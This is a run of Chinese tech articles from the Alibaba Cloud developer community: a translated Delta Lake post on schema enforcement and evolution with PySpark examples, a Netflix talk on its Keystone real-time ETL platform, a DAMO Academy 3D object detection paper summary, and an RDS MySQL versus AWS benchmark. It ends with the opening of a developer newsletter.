        Schema 约束(Schema Enforcement),也可称作 Schema Validation,是 Delta Lake 中的一种保护机制,通过拒绝不符合表 schema 的写入请求来保证数据质量。类似于一个繁忙的餐厅前台只接受预定坐席的顾客,这个机制会检查插入表格的每一列是否符合期望的列(换句话说,就是检查每个列是否已经“预定坐席”),那些不在期望名单上的写入将被拒绝。

        Schema 约束如何工作?

        Delta Lake 对写入进行 schema 校验,也就是说所有表格的写入操作都会用表的 schema 做兼容性检查。如果 schema 不兼容,Delta Lake 将会撤销这次事务(没有任何数据写入),并且返回相应的异常信息告知用户。

        Delta Lake 通过以下准则判断一次写入是否兼容,即对写入的 DataFrame 必须满足:

        • 不能包含目标表 schema 中不存在的列。相反,如果写入的数据没有包含所有的列是被允许的,这些空缺的列将会被赋值为 null。

        • 不能包含与目标表类型不同的列。如果目标表包含 String 类型的数据,但 DataFrame 中对应列的数据类型为 Integer,Schema 约束将会返回异常,防止该次写入生效。

        • 不能包含只通过大小写区分的列名。这意味着不能在一张表中同时定义诸如“Foo”和“foo”的列。不同于 Spark 可以支持大小写敏感和不敏感(默认为大小写不敏感)两种不同的模式,Delta Lake 保留大小写,但在 schema 存储上大小写不敏感。Parquet 在存储和返回列信息上面是大小写敏感的,因此为了防止潜在的错误、数据污染和丢失的问题,Delta Lake 引入了这个限制。

        以下代码展示了一次写入过程,当添加一次新计算的列到 Delta Lake 表中。

        # Generate a DataFrame of loans that we'll append to our Delta Lake table
        loans = sql("""
                    SELECT addr_state, CAST(rand(10)*count as bigint) AS count,
                    CAST(rand(10) * 10000 * count AS double) AS amount
                    FROM loan_by_state_delta
                    """)
        
        # Show original DataFrame's schema
        original_loans.printSchema()
         
        """
        root
          |-- addr_state: string (nullable = true)
          |-- count: integer (nullable = true)
        """
         
        # Show new DataFrame's schema
        loans.printSchema()
         
        """
        root
          |-- addr_state: string (nullable = true)
          |-- count: integer (nullable = true)
          |-- amount: double (nullable = true) # new column
        """
         
        # Attempt to append new DataFrame (with new column) to existing table
        loans.write.format("delta") 
                   .mode("append") 
                   .save(DELTALAKE_PATH)
        
        """ Returns:
        
        A schema mismatch detected when writing to the Delta table.
         
        To enable schema migration, please set:
        '.option("mergeSchema", "true")'
         
        Table schema:
        root
        -- addr_state: string (nullable = true)
        -- count: long (nullable = true)
         
         
        Data schema:
        root
        -- addr_state: string (nullable = true)
        -- count: long (nullable = true)
        -- amount: double (nullable = true)
         
        If Table ACLs are enabled, these options will be ignored. Please use the ALTER TABLE command for changing the schema.

        不同于自动添加新的列,Delta Lake 受到 schema 约束并阻止了这次写入生效。并且为了帮助定位是哪个列造成了不匹配,Spark 会在错误栈中打印出两者的 schema 作为对照。

        Schema 约束有何作用?

        由于 Schema 约束是一种严格的校验,因此可以用于已清洗、转化完成的数据,保证数据不受污染,可用于生产或者消费。典型的应用场景包括直接用于以下用途的表:

        • 机器学习算法

        • BI 仪表盘

        • 数据分析和可视化工具

        • 任何要求高度结构化、强类型、语义 schema 的生产系统

        为了准备好最终的数据,很多用户使用简单的“多跳”架构来逐步往表中添加结构。更多相关内容可以参考 Productionizing Machine Learning With Delta Lake.

        当然,Schema 约束可以用在整个工作流程的任意地方,不过需要注意的是,有可能因为诸如不经意对写入数据添加了某个列,导致写入流失败的情况。

        防止数据稀释

        看到这,你可能会问,到底需不需要大费周章做 Schema 约束?毕竟,有时候一个意料之外的 schema 不匹配问题反而会影响整个工作流,特别是当新手使用 Delta Lake。为什么不直接让 schema 接受改变,这样我们就能任意写入 DataFrame 了。

        俗话说,防患于未然,有些时候,如果不对 schema 进行强制约束,数据类型兼容性的问题将会很容易出现,看上去同质的数据源可能包含了边缘情况、污染列、错误变换的映射以及其他可怕的情况都可能会一夜之间污染了原始的表。所以更好的做法应该从根本上阻止这样的情况发生,通过 Schema 约束就能够做到,将这类错误显式地返回进行恰当的处理,而不是让它潜伏在数据中,看似写入时非常顺利,但埋下了无法预知的隐患。

        Schema 约束能够确保表 schema 不会发生改变,除非你确切地执行了更改操作。它能有效的防止“数据稀释”——当新的列频繁添加,原本简洁的表结构可能因为数据泛滥而失去原有的含义和用处。Schema 约束的设计初衷就是通过设定严格的要求来保证质量,确保表数据不受污染。

        另一方面,假如经过再三确认之后,确定的确需要添加新的列,那解决方法也非常简单,也就是下文即将介绍的 Schema 演变!

        什么是 Schema 演变

        Schema 演变(Schema Evolution)允许用户能够方便地修改表的当前 schema,来适应不断变化的数据。最常见的用法就是在执行添加和覆盖操作时,自动地添加一个或多个列来适应 schema。

        Schema 演变如何工作?

        继续沿用上文的例子,对于之前由于 schema 不匹配导致请求被拒绝的情况,开发人员可以方便地使用 Schema 演变来添加新的列。Schema 演变的使用方式是在 .write 或 .writeStream 的 Spark 命令后面添加上 .option('mergeSchema', 'true')。

        # Add the mergeSchema option
        loans.write.format("delta") 
                   .option("mergeSchema", "true") 
                   .mode("append") 
                   .save(DELTALAKE_SILVER_PATH)

        可以执行以下 Spark SQL 语句来察看图表。

        # Create a plot with the new column to confirm the write was successful
        %sql
        SELECT addr_state, sum(`amount`) AS amount
        FROM loan_by_state_delta
        GROUP BY addr_state
        ORDER BY sum(`amount`)
        DESC LIMIT 10

        当然,也可以选择通过添加 spark.databricks.delta.schema.autoMerge = True 到 Spark 配置文件中使得该选项对整个 Spark session 生效。不过需要注意的是,这样使用的话, Schema 约束将不再会对 schema 不匹配问题进行报警提示。

        通过指定 mergeSchema 选项,所有在输入 DataFrame 中存在但在目标表中不存在的列都将被作为该事务操作的一部分添加到 schema 末尾。也允许添加嵌套字段,这些字段将被添加到对应列的末尾。

        数据科学家可以利用这个选项来添加新的列(例如一个新增的跟踪指标,或是这个月的销售数据)到已有的机器学习表中,而不必废弃现有依赖于旧的列信息的模型。

        以下对表的添加和覆盖操作都是合法的 Schema 演变的操作:

        • 添加新列(这是最常用的场景)

        • 修改数据类型,Null->其他类型,或者向上类型转换 Byte->Short->Integer

        其他改动都是非法的 Schema 演变操作,需要通过添加 .option("overwriteSchema", "true") 选项来覆盖 schema 以及数据。举个例子,表原本包含一个类型为 integer 的列“Foo”,而新的 schema 需要改成 string 类型,那么所有的 Parquet 数据文件都需要覆盖重写。包括以下步骤:

        • 删除这个列

        • 修改列的数据类型

        • 修改列名,仅用大小写区分(例如“Foo”和“foo”)
        最后,在 Spark 3.0 中,支持了显式 DDL(通过 ALTER TABLE 方式),允许用户能够对 schema 执行以下操作:

        • 添加列

        • 修改列注释

        • 设置表的属性来定义表的行为,例如设置事务日志的保留时间

        Schema 演变有何作用?

        Schema 演变可以用来显式地修改表的 schema(而不是意外添加了并不想要的列)。这提供了一种简单的方式来迁移 schema,因为它能自动添加上正确的列名和数据类型,而不需要进行显式的定义。

        总结

        Schema 约束能够拒绝与表不兼容的任何的新的列或者 schema 的改动。通过设置严格的限制,数据工程师们可以完全信任他们的数据,从而能够作出更好的商业决策。

        另一方面,schema 演变则对 schema 约束进行了补充,使得一些期望的 schema 变更能够自动地生效。毕竟,添加一个新的列本就不应该是一件困难的事情。

        Schema 约束和 Schema 演变相互补益,合理地结合起来使用将能方便地管理好数据,避免脏数据侵染,保证数据的完整可靠。

        原文链接:https://databricks.com/blog/2019/09/24/diving-into-delta-lake-schema-enforcement-evolution.html


        相关阅读推荐:
        Delta Lake,让你从复杂的Lambda架构中解放出来
        【译】Databricks使用Spark Streaming和Delta Lake对流式数据进行数据质量监控介绍
        【译】Delta Lake 0.5.0介绍
        Delta Lake - 数据湖的数据可靠性


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!image.png
        对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。image.png
        Apache Spark技术交流社区公众号,微信扫一扫关注image.png

        ]]>
        Netflix:如何打造开放协作的实时 ETL 平台?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 摘要:本文由 Netflix 高级软件工程师徐振中分享,内容包含有趣的案例、分布式系统基础方面的各种挑战以及解决方案,此外还讨论了其在开发运维过程中的收获,对开放式自助式实时数据平台的一些新愿景,以及对 Realtime ETL 基础平台的一些新思考。文章内容主要分为以下三部分:

        1. 产品背景
        2. 产品功能
        3. 挑战&解决方案

        Netflix 致力于会员的喜悦。我们不懈地专注于提高产品体验和高质量内容。近年来,我们一直在技术驱动的 Studio 和内容制作方面进行大量投资。在这个过程中,我们发现在实时数据平台的领域里中出现了许多独特并有意思的挑战。例如,在微服务架构中,领域对象分布在不同的 App 及其有状态存储中,这使得低延迟高一致性的实时报告和实体搜索发现特别具有挑战性。

        产品背景

        Netflix 的长久愿景是把欢乐和微笑带给整个世界,通过在全球各地拍摄一些高质量、多元化的内容产品放在平台上,分享给平台超过一个亿级别的用户。更远大的目标为了给用户带来愉悦的体验,Netflix 的努力方向分为两个:

        1. 一方面是通过数据整合知识来反馈并用于提高用户的产品体验中去;
        2. 另一方面通过建立一个技术驱动的 Studio 去帮助产出内容质量更高的产品。

        而作为一个数据平台团队,需要关注的是怎么帮助公司中不同的开发人员、数据分析人员等实现其在公司中的价值,最终为解决上述两方面问题做出自己的贡献。

        640.png

        简单地介绍一下 Netflix 数据平台团队及相应的产品,Keystone。它的主要功能是帮助公司在所有的微服务中埋点、建立 Agent、发布事件、收集事件信息,然后放到不同的数据仓库中进行存储,比如 Hive 或 ElasticSearch,最后帮助用户在数据实时存储的情况下实现计算和分析。

        • 用户的角度来讲,Keystone 是一个完整的自容(Self-contained)的平台,支持多用户,用户可以通过所提供的 UI 很方便地声明并创建自己想要的 pipeline。
        • 平台角度来说,Keystone 提供底层所有分布式系统中实现比较困难的解决方案,如容器编排(Container Orchestration)、工作流管理(Workflow Management)等等,这些对于用户是不可见的。
        • 产品的角度来说,主要有两个功能,一个是帮助用户将数据从边缘设备移到数仓,另一个是帮助用户实时计算的功能。
        • 数字的角度来说,Keystone 在 Netflix 的使用是非常有必要的,只要跟数据打交道的开发者,一定会用到,因此 Keystone 在整个公司中有几千个用户,并有一百个 Kafka 的集群支持每天 10PB 数量级左右的数据。

        Keystone 的整个架构分为两层,底层是 Kafka 和 Flink 作为底层引擎,底层对所有分布式系统中比较困难的技术方案进行抽象,对用户不可见,在上层构建整个应用;服务层会提供抽象的服务,UI 对于用户来讲比较简单,不需要关心底层实现。

        下面介绍一下 Keystone 产品在过去四五年的发展历程。最初的动机是收集所有设备的数据并将其存储到数据仓库中,当时使用的是 Kafka 技术,因为数据移动比较好解决,本质上来讲仅是一个多并发的问题。

        在此之后,用户给出了新的需求,即在数据移动的过程中对数据进行一些简单的处理操作,比如筛选(Filter),还有一个很通用的功能 —— projection,为此 Keystone 推出了针对该需求推出了相应的功能特性。

        经过一段时间后,用户表示想做更加复杂的 ETL,比如 Streaming Join 等,因此产品决定将底层的 API 提供给用户,并将底层的关于所有分布式系统的解决方案抽象化,让其更好地关注上层的内容。

        ## 产品功能

        产品功能介绍将围绕 Netflix 中的两个“超级英雄” Elliot 和 Charlie 来展开。Elliot 是来自数据科学工程组织的一个数据科学家,他的需求是在非常大的数据中寻找响应的 pattern,以帮助提高用户体验;Charlie 是一个来自 Studio 组织的应用开发者,其目标是通过开发一系列的应用来帮助周边的其他开发者产出更高质量的产品。

        这两个人的工作对于产品来讲都非常重要,Elliot 的数据分析结果可以帮助给出更好的推荐和个性化定制,最终提高用户体验;而 Charlie 的工作可以帮助周边的开发者提高效率。

        Recommendation & Personalization

        640 1.png

        Elliot 作为一个数据科学家,需要的是一个简单易用的实时 ETL 操作平台,他不希望写非常复杂的编码,同时需要保证整个 pipeline 的低延时。他所从事的工作和相关需求主要有以下几个:

        640 3.png

        • 推荐和个性化定制。该工作中可以根据个人特点的不同将同样的视频通过不同的形式推送给相应的用户,视频可以分为多个 row,每一个 row 可以是不同的分类,根据个人的喜好可以对不同的 row 进行更改。此外,每一个视频的题目都会有一个 artwork,不同国家、不同地域的不同用户对 artwork 的喜好也可能不同,也会通过算法进行计算并定制适合用户的 artwork。

        640 4.png

        • A/B Testing。Netflix 提供给非会员用户 28 天免费的视频观看机会,同时也相信给用户看到了适合自己的视频,用户更有可能会购买 Netflix 的服务,而在进行A/B Testing 的时候,就需要 28 天才能做完。对于 Elliot 来讲,进行 A/B Testing 的时候可能会犯错误,他所关心的是怎么样才能在不用等到 28 天结束的时候就可以提前发现问题。

        当在设备上观看 Netflix 的时候,会以请求的形式和网关进行交互,然后网关会将这些请求分发给后端的微服务,比如说用户在设备上点击播放、暂停、快进、快退等操作,这些会有不同的微服务进行处理,因此需要将相应的数据收集起来,进一步处理。

        对于 Keystone 平台团队来讲,需要收集不同的微服务中产生的数据并进行存储。Elliot 需要将不同的数据整合起来,以解决他关注的问题。

        640 5.jpg

        至于为什么要使用流处理,主要有四方面的考量,即实时报告、实时告警、机器学习模型的快速训练以及资源效率。相比于前两点,机器学习模型的快速训练以及资源效率对 Elliot 的工作更加重要。尤其需要强调的是资源效率,针对前面的 28 天的 A/B Testing,目前的做法是每天将数据与前 27 天做 Batch Processing,这个过程中涉及了很多重复处理,使用流处理可以很好地帮助提高整体的效率。

        640 6.png

        Keystone 会提供命令行的工具给用户,用户只需要在命令行中输入相应的命令来进行操作,工具最开始会询问用户一些简单的问题,如需要使用什么 repository 等,用户给出相应的回答后,会最终产生一个模板,用户便可以开始使用工具进行开发工作;产品还提供一系列简单的 SDK,目前支持的是Hive、Iceberg、Kafka 和 ElasticSearch 等。

        需要强调的是 Iceberg,它是在 Netflix 主导的一个 Table Format,未来计划取代 Hive。其提供了很多特色功能来帮助用户做优化;Keystone 向用户提供了简单的 API,可以帮助其直接生成 Source 和 Sink。

        Elliot 在完成一系列的工作之后,可以选择将自己的代码提交到 repository 中,后台会自动启动一个 CI/CD pipeline,将所有的源代码和制品等包装在 Docker 镜像中,保证所有的版本一致性。Elliot 在 UI 处只需要选择想要部署哪一个版本,然后点击部署按钮可以将 jar 部署到生产环境中。

        产品会在后台帮助其解决底层分布式系统比较困难的问题,比如怎么做容器编排等,目前是基于资源的编排,未来计划向 K8S 方向发展。部署 Job(作业)包的过程中会部署一个 JobManager 的集群和一个 TaskManager 的集群,因此每一个 Job 对于用户来说是完全独立的。

        产品提供默认的配置选项,同时也支持用户在平台 UI 上修改并覆盖配置信息,直接选择部署即可生效,而不需重写代码。Elliot 之前有一个需求是在 Stream Processing 的过程中,比如从不同的 Topic 中去读取数据,出现问题的情况下可能需要在 Kafka 中操作,也可能需要在数据仓库中操作,面对该问题,其需求是在不改动代码的情况下切换不同的 Source,而目前平台提供的UI很方便地完成该需求。此外平台还可以帮助用户在部署的时候选择需要多少资源来运行作业。

        很多用户从 Batch Processing 转到 Stream Processing 的过程中,已经有了很多需要的制品,比如 Schema 等,因此平台还帮助其简单地实现这些制品的集成。

        640 7.jpg

        平台拥有很多需要在其之上写 ETL 工程的用户,当用户越来越多的时候,平台的可伸缩性显得尤为重要。为此,平台采用了一系列的 pattern 来解决该问题。具体来讲,主要有三个 pattern 正在使用,即 Extractor Pattern、Join Pattern 和 Enrichment Pattern。

        Content Production

        先简要介绍一下什么是 Content Production。包括预测在视频制作方面的花费、制定 program、达成 deal、制作视频、视频后期处理、发布视频以及金融报告。

        640 8.png

        Charlie 所在的是 Studio 部门主要负责开发一系列的应用来帮助支持 Content Production。每一个应用都是基于微服务架构来开发部署的,每一个微服务应用会有自己的职责。举个最简单的例子,会有专门管理电影标题的微服务应用,也会有专门管理 deals 和 contracts 的微服务应用等等。

        面对如此多的微服务应用,Charlie 面临的挑战问题是当其在进行实时搜索的过程中,比如搜索某一个电影的演员,需要将数据从不同的地方 join 起来;另外数据每天都在增加,保证实时更新的数据的一致性比较困难,这本质上是分布式微服务系统的特点导致,不同的微服务选择使用的数据库可能不同,这给数据一致性的保证又增加了一定的复杂度。针对该问题,常用的解决方案有以下三个:

        • Dual writes: 当开发者知道数据需要放到主要的数据库中的时候,同时也要放到另一个数据库中,可以很简单地选择分两次写入到数据库中,但是这种操作是不容错的,一旦发生错误,很有可能会导致数据的不一致;
        • Change Data Table: 需要数据库支持事务的概念,不管对数据库做什么操作,相应的变更会加到事务变更的 statement 中并存入单独的表中,之后可以查询该 change 表并获取相应的变更情况并同步到其他数据表;
        • Distributed Transaction:指的是分布式事务,在多数据环境中实现起来比较复杂。

        Charlie 的一个需求是将所有的电影从 Movie Datastore 复制到一个以 Elasticsearch 来支持的 movie search index 中,主要通过一个 Polling System 来做数据拉取和复制,数据一致性的保证采用的是上述的 Change data table 的方法。

        该方案的弊端是只支持定期数据拉取,另外 Polling System 和数据源直接紧密结合,一旦 Movie Search Datastore 的 Schema 改变,Polling System 就需要修改。为此,该架构在后来做了一次改进,引入了事件驱动的机制,读取数据库中所有实现的事务,通过 stream processing 的方式传递到下一个 job 进行处理。为了普适化该解决方案,在 source 端实现了不同数据库的 CDC(Change Data Capture)支持,包括 MySQL、PostgreSQL 和 Cassandra 等在 Netflix 中比较常用的数据库,通过 Keystone 的 pipeline 进行处理。

        挑战及解决方案

        下面分享一下上述方案存在的挑战和相应的解决方案:

        640 9.png

        • Ordering Semantics

        在变更数据事件中,必须要保证 Event ordering,比如一个事件包含 create、update 和 delete 是三个操作,需要返回给消费者侧一个严格遵守该顺序的操作事件。一个解决方案是通过 Kafka 来控制;另一个解决方案是在分布式系统中保证捕获的事件与实际从数据库中读取数据的顺序是一致的,该方案中当所有的变更事件捕获出来后,会存在重复和乱序的情况,会通过 Flink 进行去重和重新排序。

        640 10.png

        • Processing Contracts

        在写 stream processing 的时候,很多情况下不知道 Schema 的具体信息,因此需要在消息上定义一个契约 contract,包括 Wire Format 以及在不同的层级上定义与Schema 相关的信息,如基础设施(Infrastructure)、平台(Platform)等。Processor Contract 的目的是帮助用户将不同的 processor metadata 组合起来,尽量减少其写重复代码的可能。

        举一个具体的案例,比如 Charlie 希望有新的 deal 的时候被及时通知,平台通过将相关的不同组件组合起来,DB Connector、Filter 等,通过用户定义契约的方式帮助其实现一个开放的可组合的流数据平台。

        以往所看到的 ETL 工程大多数适用于数据工程师或数据科学家。但从经验上来讲,ETL 的整个过程,即 Extract、Transform 和 Load,其实是有被更广泛应用的可能。最早的 Keystone 简单易用,但灵活性不高,之后的发展过程中虽然提高了灵活性,但复杂性也相应地增大了。因此未来团队计划在目前的基础上进一步优化,推出开放的、合作的、可组合的、可配置的 ETL 工程平台,帮助用户在极短的时间解决问题。

        作者简介:

        徐振中,Netflix 软件工程师,在 Netflix 从事高度可扩展和弹性的流媒体数据平台的基础设施工作,热衷于研究分享与实时数据系统、分布式系统基本原理相关的任何有趣的事情!

        ]]>
        阿里达摩院自动驾驶新突破,实现 3D 物体检测精度与速度兼得 | CVPR 2020 论文解读-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

        4.png

        近期,阿里巴巴达摩院的一篇论文入选计算机视觉顶会 CVPR 2020,该论文提出了一个通用、高性能的自动驾驶检测器,首次实现 3D 物体检测精度与速度的兼得,有效提升自动驾驶系统安全性能。

        image.png

        3D 目标检测需输出物体类别及在三维空间中的长宽高、旋转角等信息

        与普通的 2D 图像识别应用不同,自动驾驶系统对精度和速度的要求更高,检测器不仅需要快速识别周围环境的物体,还要对物体在三维空间中的位置做精准定位。然而,目前主流的单阶段检测器和两阶段检测器均无法平衡检测精度和速度,这极大地限制了自动驾驶安全性能。

        此次,达摩院在论文中提出了新的思路即将两阶段检测器中对特征进行细粒度刻画的方法集成到单阶段检测器。具体来说,达摩院在训练中利用一个辅助网络将单阶段检测器中的体素特征转化为点级特征,并施加一定的监督信号,同时在模型推理过程中辅助网络无需参与计算,因此,在保障速度的同时又提高了检测精度。

        以下是第一作者 Chenhang He 对该论文做出的解读:

        1. 背景

        目标检测是计算机视觉领域的传统任务,与图像识别不同,目标检测不仅需要识别出图像上存在的物体,给出对应的类别,还需要将该物体通过 Bounding box 进行定位。根据目标检测需要输出结果的不同,一般将使用 RGB 图像进行目标检测,输出物体类别和在图像上 2D bounding box 的方式称为 2D 目标检测。而将使用 RGB 图像、RGB-D 深度图像和激光点云,输出物体类别及在三维空间中的长宽高、旋转角等信息的检测称为 3D 目标检测。

        1.png

        2.png

        从点云数据进行 3D 目标检测是自动驾驶(AV)系统中的的关键组件。与仅从图像平面估计 2D 边界框的普通 2D 目标检测不同,AV 需要从现实世界估计更具信息量的 3D 边界框,以完成诸如路径规划和避免碰撞之类的高级任务。这激发了最近出现的 3D 目标检测方法,该方法应用卷积神经网络(CNN)处理来自高端 LiDAR 传感器的点云数据。

        目前基于点云的 3D 物体检测主要有两种架构:

        1. 单阶段检测器 (single-stage): 将点云编码成体素特征 (voxel feature), 并用 3D CNN 直接预测物体框, 速度快但是由于点云在 CNN 中被解构, 对物体的结构感知能力差, 所以精度略低。
        2. 两阶段检测器 (two-stage): 首先用 PointNet 提取点级特征, 并利用候选区域池化点云 (Pooling from point cloud) 以获得精细特征. 通常能达到很高的精度但速度很慢。

        image.png

        2. 方法

        目前业界主要以单阶段检测器为主,这样能保证检测器能高效地在实时系统上进行。 我们提出的方案将两阶段检测器中对特征进行细粒度刻画的思想移植到单阶段检测中,通过在训练中利用一个辅助网络将单阶段检测器中的体素特征转化为点级特征,并施加一定的监督信号,从而使得卷积特征也具有结构感知能力,进而提高检测精度。而在做模型推断时,辅助网络并不参与计算(detached), 进而保证了单阶段检测器的检测效率。另外我们提出一个工程上的改进,Part-sensitive Warping (PSWarp), 用于处理单阶段检测器中存在的 “框 - 置信度 - 不匹配” 问题。

        image.png

        主体网络

        用于部署的检测器, 即推断网络, 由一个骨干网络和检测头组成。骨干网络用 3D 的稀疏网络实现,用于提取含有高语义的体素特征。检测头将体素特征压缩成鸟瞰图表示,并在上面运行 2D 全卷积网络来预测 3D 物体框。

        辅助网络

        在训练阶段,我们提出一个辅助网络来抽取骨干网络中间层的卷积特征,并将这些特征转化成点级特征 (point-wise feature)。在实现上,我们将卷积特征中的非零信号映射到原始的点云空间中, 然后在每个点上进行插值,这样我们就能获取卷积特征的点级表示。 令 {():j=0,…,M} 为卷积特征在空间中的表示, {:i=0,…,N}为原始点云, 则卷积特征在原始点上的表示 等于

        image.png

        辅助任务

        我们提出两种基于点级特征的监督策略来帮助卷积特征获得很好的结构感知力,一个前景分割任务,一个中心点回归任务。

        image.png

        具体来说,相比于 PointNet 特征提取器 (a), 卷积网络中的卷积操作和下采样会造成点云结构的破坏(b)使得特征对物体的边界与内部结构不敏感。我们利用分割任务来保证部分卷积特征在下采样时不会被背景特征影响 ©,从而加强对边界的感知。我们利用中心点回归任务来加强卷积特征对物体内部结构的感知能力 (d),使得在少量点的情况下也能合理的推断出物体的潜在大小、形状。我们使用 focal loss 和 smooth-l1 对分割任务与中心回归任务分辨进行优化。

        3. 工程上的改进

        image.png

        在单阶段检测中, feature map 和 anchor 的对齐问题是普遍存在的问题, 这样会导致预测出来的边界框的定位质量与置信度不匹配,这会影响在后处理阶段(NMS)时, 高置信度但低定位质量的框被保留, 而定位质量高却置信度低的框被丢弃。在 two-stage 的目标检测算法中,RPN 提取 proposal,然后会在 feature map 上对应的的位置提取特征(roi-pooling 或者 roi-align),这个时候新的特征和对应的 proposal 是对齐的。我们提出了一个基于 PSRoIAlign 的改进,Part-sensitive Warping (PSWarp), 用来对预测框进行重打分。

        如上图, 我们首先修改最后的分类层以生成 K 个部分敏感的特征图,用{X_k:k = 1,2,…,K}表示,每个图都编码对象的特定部分的信息。例如,在 K = 4 的情况下,会生成 {左上,右上,左下,右下} 四个局部敏感的特征图。同时,我们将每个预测边界框划分为 K 个子窗口,然后选择每个子窗口的中心位置作为采样点。这样,我们可以生成 K 个采样网格{S^k:k = 1,2,…,K},每个采样网格都与该局部对应的特征图相关联。如图所示,我们利用采样器, 用生成的采样网格在对应的局部敏感特征图上进行采样,生成对齐好的特征图。最终能反映置信度的特征图则是 K 个对齐好特征图的平均。

        4. 效果

        image.png

        我们提出的方法 (黑色) 在 KITTI 数据库上的 PR Curve, 其中实线为两阶段方法, 虚线为单阶段方法。 可以看到我们作为单阶段方法能够达到两阶段方法才能达到的精度。

        image.png

        在 KITTI 鸟瞰 (BEV) 和 3D 测试集的效果。优点是在保持精度的同时,不增加额外的计算量,能达到 25FPS 的检测速度。

        image.png

        image.png

        image.png

        作者介绍:

        第一作者为达摩院研究实习生 Chenhang He,其他作者分别分别为达摩院高级研究员、IEEE Fellow 华先胜,达摩院高级研究员、香港理工大学电子计算学系讲座教授、IEEE Fellow 张磊,达摩院资深算法专家黄建强及达摩院研究实习生 Hui Zeng。

        image.png

        原文链接:
        https://www.infoq.cn/article/1QPiVc3BjFMPcUELhJb5

        ]]>
        深度评测 | 十年磨一剑,阿里云RDS MySQL和AWS RDS谁的性能更胜一筹?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 MySQL代表了开源数据库的快速发展。

        从2004年前后的Wiki、WordPress等轻量级Web 2.0应用起步,到2010年阿里巴巴在电商及支付场景大规模使用MySQL数据库,再到2012年开始阿里云RDS for MySQL为成千上万家客户提供可靠的关系数据库服务,阿里云RDS积累了来自内外部功能、性能、安全方面的众多需求,打造了面向企业场景的AliSQL分支,包含了丰富企业级数据库特性:

        DynamicThreadPool(DTP):在内核中动态管理数据库线程池,通过有限资源持续支撑大量创建数据库连接请求,维持高效稳定的请求处理能力。

        IndexMutexTuning(IMT):通过IMT优化大大降低索引节点分裂成本,大大提升类TPCC场景处理能力,在全内存的测试中,单机达到了39W的TpmC,相对于原生版本提升35-50%不等。

        TDE&SM4:全新优化的TDE数据加密,并且支持国产加密算法SM4。

        PerformanceInsight:针对数据库SQL性能扩展多方面信息,包括表统计信息、索引统计信息、SQL单次性能数据、IO统计信息和关键性能数据输出等。

        AsyncFilePurge:优化大表删除,有效降低系统IO抖动影响。

        SlowLogRotate:对慢日志设计切换机制,可有效降低大量慢日志造成的不稳定影响。

        SQLOutline:通过Hint优化SQL语句执行计划,可保障在各种环境变化中SQL执行计划不变,如大版本升级、统计信息变更等。

        StatementConcurrencyControl(SCC):DBA可通过SCC干预系统语句执行,对具体SQL限流控制并发度,紧急状态保障数据库稳定运行。

        DDLRecycleBin:内核中增加回收站,防止误执行DROPTABLE/TRUNCATE TABLE造成的不可挽回的损害。

        AWS作为全球云市场的标杆,是其他云厂商不断追赶的目标。十年磨一剑,阿里巴巴MySQL数据库历经十年的发展后,阿里云RDS MySQL和AWS RDS相比,性能上谁会更胜一筹?本文将一测究竟。

        01、测试概述

        本测试对比了阿里云RDS通用型实例(5.7/8.0版本)和AWS RDS通用T3型实例,在OLTP读写混合模型下的性能。测试使用了标准的sysbench 1.0工具,选择的规格是8核32GB规格数据库。测试场景选用的是内存命中型场景,250张表,每张表25000行数据。

        测试结论是用同规格下性能最好的T3型AWS RDS 5.7/8.0和阿里云对应版本的RDS通用型实例对比,阿里云RDS通用型实例有绝对的优势,读写混合场景峰值QPS比AWS RDS高80%左右。

        02、测试环境

        (*点击查看大图)

        3.30配图.jpg

        AWS RDS通用型实例分为四种类型
        https://aws.amazon.com/cn/rds/instance-types/
        前期实测下来,相同CPU核数和内存规格的情况下,T3型实例性能最好。选用的规格是t3.2xlarge,8个vCPU。

        AWS RDS的主备同步不依赖binlog。同步方式的说明见:
        https://aws.amazon.com/cn/blogs/database/amazon-rds-under-the-hood-multi-az/
        跨AZ的情况下,AWS RDS是同步写,所以对比测试中,阿里云RDS选用多可用区+半同步开启+默认严格参数模板。

        03、测试数据

        3.1 RDS 5.7读写混合场景

        在不同并发条件下,阿里云RDS 5.7均较AWS性能占优。

        阿里云RDS 5.7的峰值QPS比AWS高80.41%

        (*点击查看大图)

        02.png

        3.2 RDS 8.0读写混合场景

        在不同并发条件下,阿里云RDS 8.0均较AWS性能占优。

        阿里云RDS 8.0的峰值QPS比AWS高77.88%

        (*点击查看大图)
        3.png

        04、总结和展望

        通过上述测试数据可以看出,阿里云RDS通用型实例相比于AWS RDS有较大的优势。阿里云数据库RDS MySQL在2020年将继续快速奔跑,除了性能以外,将继续围绕企业诉求,构建数据库核心能力,覆盖安全、可靠性、可用性、可扩展性等诸多方面。

        Gartner预计,到2021年,云数据库在整个数据库市场中的占比将首次达到50%;而到2023年,75%的数据库要跑在云平台之上。

        去年11月,国际知名调研机构Gartner公布2019年全球数据库魔力象限评选结果,阿里云成功进入“挑战者”象限,连续两年作为唯一的中国企业入选。

        根据Gartner 统计数据,阿里云已经位居全球云数据库市场份额第三位以及中国市场第一位,年增长率达到116%。目前,已有超过40万个数据库实例迁移到阿里云上,包含政务、零售、金融、电信、制造、物流等多个领域的龙头企业。

        01.png

        只有保持一路快跑的势态,才能在日益严峻的竞争环境中持续领先,才能满足云上企业快速增长需求。阿里云数据库RDS MySQL一直走在前列。

        ]]>
        15篇面试通关经验+10大热招岗位,给你足够底气斩获offer!|开发者必读(164期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        15篇面试通关经验+10大热招岗位,给你足够底气斩获offer!

        人生有许多种可能,只要勇敢一次,你会发现收获的东西比想象中多很多,譬如说,我们正在招人,你勇敢投简历了吗?如果你还没有准备好,没关系,我们给你足够底气斩获offer!10大热招岗位需求+15篇师兄师姐面试经验分享,手把手教你面试通关!


        最强干货

        一遇到复杂分析查询就卡顿?MySQL分析实例了解一下

